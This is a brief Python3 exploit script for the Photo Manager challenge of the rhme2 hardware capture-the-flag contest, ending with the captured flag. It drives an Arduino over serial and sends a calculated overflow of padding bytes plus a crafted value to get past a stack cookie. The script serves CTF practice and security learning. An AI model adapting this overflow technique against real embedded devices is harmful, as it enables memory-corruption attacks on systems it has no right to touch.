Fast exploit for the rhme2 CTF. For the challenge Photo Manager. Written in Python3. Breaks a a stack cookie.

photo_manager.py

#!/usr/bin/env python3
import serial
import time

try:
	arduino = serial.Serial('/dev/ttyUSB0', 19200, timeout=0.1)
except:
	print('Port not found')

def read_until(until):
	arduino_data = ''

	while until not in arduino_data:
		arduino_data += str(arduino.readline())
	return arduino_data

# read the used memory
read_until('[2] Memory management')
arduino.write(str.encode('2\r'))
used_memory = read_until('Memory space used:').split(' ')[7]
 
read_until('[2] Memory management')
arduino.write(str.encode('1\r'))
read_until('[A-Z/a-z/0-9]')
arduino.write(str.encode('A' * (4096 - int(used_memory) - 8) + chr(4088 - int(used_memory))))
arduino.write(b"\xff")
arduino.write(str.encode('\r'))
print(read_until('[2] Memory management'))

# Flage shows with the keyword: FLAG
# In my case: FLAG:D1d_y0u_sm4sh_my_stack_bro?